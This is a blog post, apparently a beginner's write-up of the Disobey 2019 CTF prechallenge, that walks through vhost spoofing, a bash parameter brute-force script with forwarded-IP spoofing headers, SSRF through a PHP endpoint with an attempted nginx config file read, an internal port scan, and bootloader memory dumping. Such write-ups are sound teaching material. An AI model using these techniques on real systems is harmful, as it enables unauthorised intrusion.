| my rAnd0m m1ndfl0w |
| #whoami $bl0g /script.s |
Disobey 2019 prechallenge writeup --------------------------------- So here goes nothing, my first ever writeup on any CTF. This CTF was for a limited amount of hacker-badges to the Finnish security event Disobey. Getting started --------------- So the page http://puzzle.disobey.fi/ seems to contain the default Nginx homepage. From the start page you can see (at latest from the source) that there's a link to lorem.html, which contains a long lorem ipsum. Also the CSS reveals a hint to DirBuster. DirBuster needs a wordlist, so I decided to cat the the lorem.html's content through sed to a wordlist and use that with DirBuster: Starting dir/file list based brute forcing Dir found: / - 200 Dir found: /Interdum/ - 401 File found: /lorem.html - 200 File found: /Interdum.php - 401 File found: /Interdum - 401 DirBuster Stopped I also ran OpenDoor just to double check. OpenDoor found puzzle.disobey.fi/.bash_history, which contains: ls -al curl http://puzzle.disobey.fi/sicret_admin_address/ curl -O http://puzzle.disobey.fi/sicret_admin_address/mysql_backup.db cat mysql_backup.db | base64 -d Randomly poking around revealed a robots.txt, which contained nothing of interest. Of course I ran Nmap against the server too, to check what was available. Nmap revealed that port 8021/TCP is open, which returns "Try harder!" when making an HTTP-request. Next I decided to take a look at the http://puzzle.disobey.fi/sicret_admin_address/. The folder contained team-rot/REAMDE.txt: Team ROT: You totally need try harder! NotMyNick: FREEEEE BEEEEER! USE COUPON: BEER, PLZ! whois: :salt: As the db-file didn't seem to me to contain anything of interest paired with the content of the readme, this seems to be just an easter egg. If you're unfamiliar with them you can check out Team ROT and their writeup of this same challenge. Round one --------- So going back to the Interdum(.php). Telnetting to puzzle.disobey.fi:80 and telling: GET /Interdum.php HTTP/1.1 Host: puzzle.disobey.fi Gives the following error: "Wrong vhost". As the error from a straight request is 401, it means that we at least need to spoof the vhost or maybe the PHP file has some usr/pw variables needing to passed to it. Let's try: GET /Interdum.php HTTP/1.1 Host: disobey.fi Gives: "Try harder - admin" Next guess: GET /Interdum.php HTTP/1.1 Host: admin Gives: "Greetings! Love you <3 - I need -love also". Now we're on to something... Then we'll try: GET /Interdum-love (as .php gives 404) Host: admin Gives: HTTP/1.1 301 Moved Permanently Location: http://admin/Interdum-love/ One more time: GET /Interdum-love/ HTTP/1.1 Host: admin Says: HTTP/1.1 200 OK. And gives the HTML-file's content, in it couple of interesting things: <a href="secret.txt">secret.txt</a>..02-Aug-2018 06:51..124 <a href="test.php">test.php</a>..02-Aug-2018 06:51..452 Then: GET /Interdum-love/secret.txt HTTP/1.1 Host: admin Once again: HTTP/1.1 200 OK: Hi John! Here is that secret email - encrypted with your favorite PIN-code! SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu And GET /Interdum-love/test.php HTTP/1.1 Host: admin Gives: HTTP/1.1 403 Forbidden OK now the first part, secret.txt, seems to contain a code, and by the looks of it it might be base64. Let's try decrypting it: echo "SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu" | base64 -d "Just kidding - base64 is awesome." OK so that would've been too easy... Figuring out the params ----------------------- Let's investigate the test.php then: HTTP-GET gives 403 (so we don't have the needed credentials). Let's assume that we can pass parameters to this .php. So I made a bash script that runs a list of 2000+ most common PHP-parameters to the test.php with the following syntax: GET /Interdum-love/test.php?[PARAM]=1 Host: admin Here's some prototype of the script. I used it with small modification throughout the whole challenge on the bruteforce testing (as I'm not a rich person who would buy the license for Burp). The script takes the wordlist-file as parameter when running it "bash brute.sh word/list/file.txt": #!/bin/bash rm responses if [ $1 ] then WORDLIST=$(cat $1) for WORD in $WORDLIST do echo -e "\n$WORD" >> responses curl -i -s -k -v -X $'GET' \ -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' \ -H $'Host: admin' \ -H $'x-originating-IP: 127.0.0.1' \ -H $'x-forwarded-for: 127.0.0.1' \ -H $'x-remote-IP: 127.0.0.1' \ -H $'x-remote-addr: 127.0.0.1' \ $'http://puzzle.disobey.fi:80/Interdum-love/test.php?'$WORD'=1' >> responses done else echo "Remember to specify the wordlist to use!" fi Then I removed all the 403's from the log and one HTTP-code 200 remained. /Interdum-love/test.php?url=1 returned HTTP 200 code. There seems to be at least one parameter we can pass to test.php succesfully. OK, so now we know we can exploit the test.php for SSRF-requests. Only clues are the paths listed on the NGINX default page. When trying to go for /usr/share/nginx/html it gives the 403 again. Let's see what the conf-file says: telnet puzzle.disobey.fi 80 GET /Interdum-love/test.php?url=file:///etc/nginx/nginx.conf --> returns HTTP 403 WAF... so it's stuck at Web Application Firewall... Maybe something else? Passed OpenDoor's folderlist-wordlist to test.php?url= -a bunch of requests return HTTP 200 OK -the interesting one is url=0/ which returns the content of the www index -0/ is the loopback address of the server Portscan through SSRF --------------------- So knowing now that the url-parameter takes at least the loopback interface as a variable (url=0/) I went full retard and ran a portscan on the server through curl with the previous GET, using ?url=0:PORT/ which results: 22 HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Thu, 16 Aug 2018 08:49:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 SSH-2.0-OpenSSH_7.4 Protocol mismatch. 80 HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Thu, 16 Aug 2018 08:49:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 [THE CONTENT OF THE INDEX HTML] 8021 HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Thu, 16 Aug 2018 09:01:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 Try harder! 1 40053 HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Thu, 16 Aug 2018 09:53:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 H4sIAI5uYVsAA+3STUgUURwA8Oe2OyyGHyF4qMtb6KAXm+eubq7rmq5bFuWaHxGWyrrO5ObuzjI7Yx+o+47mQTp16rRHE9HwEBjjhjVUsBHdqktQxtQgSpgHE+utRkGEdBEJ/j8Y3vzn//HewOuTJCUqhfoFGe0ZnuerXS6cW93VVdsrX7kTM4QnboKJ0+nkK6vdlTzBPHHyLjfC/N4d6Tc1qYRkdpRBV4zsVsfKRHGX/M7P4F/rf+KzbRihzY2x0vYUyZC35Bl5RdbJd7L8EA1PvJzITLybML7No9FxVsAv8+uzlgUbmrPMHMiWyHalZDZv64m5zH/IlgTVj9rVlPHe8ule3n7/FPhHnZMiyYi1HJJN28pGVHeszmDroXQN9XAeqqDoVibtoSZq17la6tQ5L60wLV36NJ+xYmtxuo6lVnXORyvS9VTnTuSy01svrLZ0AwsbqUfn/PS4zjVRXucCtFLnTlKyUEONFqT1poznSBtNGY/RwlFq3ETU56IN6jHqq6J+tYz6qmmj6qA+N21SD2v3U8ZdpLG6O0hzUOM20t6kjHG0saYtpYwEoiMWp+rUAxY3HbETpVwP2IkeKKzXA0V1P2/1umaj80XIP+VFir3s6dajsTzzy+KDFW1jbQ5lS7125aC3QDkyV5gtnjSXgzq75IUz9mzxDGYPW83XLC5g7/nZ4sXOW0sXtI6UYUc9hpWdwtycsmcULtdsfl1ElxzduLWh5bQfozZJVQQcbM8vQE2R5CCWhVA/FkORqNDvYN9aZen6DZwU5CFBxoqE1aSARUnGoqCEByLxK1hklUlcJiWUiBQPRcs9GPmleFwI5+JcRywiy7mG7ZF4KBLCidxMVtcciipsRAXbJsjGi1HpGi7zDwjhwaQaY33JWIhtUo5Z/tSZi83hs8HucwPnO/raYpc7E73RZKS3K9wTRyz9pwZ/Y9M+XFYAAAAAAAAAAAAAAAAAAAAAAAAAAPAXPwDTbo0GACgAAA== Booting the loader ------------------ The portscan returned two ports that were accessible from outside too, as we noted in the beginning after Nmap. Now we also know there's 22 SSH and something weird on 40053 open and accessible from the intranet. The message on port 40053 seems to be base64. Let's try decoding it: --> echo themessageabove | base64 -d just gives gibberish --> maybe the output is a file, so let's direct it to a file called b64_d: echo themessageabove | base64 -d >> b64_d --> running "file b64_d" tells us it's a gzip file --> "mkdir uncomp", "mv b64_d uncomp/b64_d.gz", "cd uncomp" and then "gzip -d b64_d.gz" --> "nano b64" gives some weird, still kind of gibberishy bootloader/log --> "file b64" tells us it's a TAR-archive, so let's decompress it with "tar -xf b64" --> now we have the file called bootloader containing DOS/MBR sector Information overflow -------------------- Split the bootloader to 4096kb with dd and saved it as and .img and ran it as a virtual machine. The bootloader gave the same messages as I was able to see in cleartext with nano. The interesting part was that entering 18 characters or more as the proxy caused the overflow error message "Overflow (Checksum mismatch)". As there didn't seem to be any other way, I decided to take a look at the memory after inserting different values causing the overflow and other situations. Easiest way to access the memory was to emulate the bootloader with QEmu: qemu-system-i386 bootloader -s The -s handle runs the emulation as a service on port 1234, so we can use gdb to access the emulator's memory: gdb target remote localhost:1234 c (to activate access) Then we enter something as the proxy address on the emulated bootloader. Determined by testing that the overflow error displays when the input is greater or equal to 18 characters, so enter something as the proxy address and after you push enter go back to gdb and do CTRL+C. Then in gdb: dump memory mdump 0 200000 The dump command dumps memory to file mdump starting from 0 and ending at 200000 Then hexedit mdump and you can find the following: 00008020 00 0A 0D 00 41 43 42 44 00 00 00 00 00 00 00 00 ....ACBD........ 00008030 00 00 00 00 41 43 42 44 00 31 32 37 2E 30 2E 30 ....ACBD.127.0.0 00008040 2E 31 3A 38 30 32 31 3F 3D 47 49 56 45 5F 47 49 .1:8021?=GIVE_GI 00008050 56 45 5F 47 49 56 45 5F 4D 45 5F 4D 59 5F 54 49 VE_GIVE_ME_MY_TI 00008060 43 4B 45 54 00 00 00 00 00 00 00 00 00 00 00 00 CKET I'm such a brute ---------------- Ran my own curl bruteforce script and tested the possible parameters with the value given above. So basically the script did GET /?data=GIVE_GIVE_GIVE_ME_MY_TICKET\n\n on puzzle.disobey.fi:8021: data HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Mon, 27 Aug 2018 04:18:29 GMT Content-Type: application/octet-stream Content-Length: 81 Connection: keep-alive HACKER! https://holvi.com/shop/Disobey/product/c995bdab7374d27f1250f1071c4a9b07/ And there we had the url for ordering the hacker ticket. Everything done here was mostly new to me but solvable via trial and error. A big hand to whois, who kept pushing me to try harder and sometimes think simpler, as I tend to try and look for a solution too complex :) |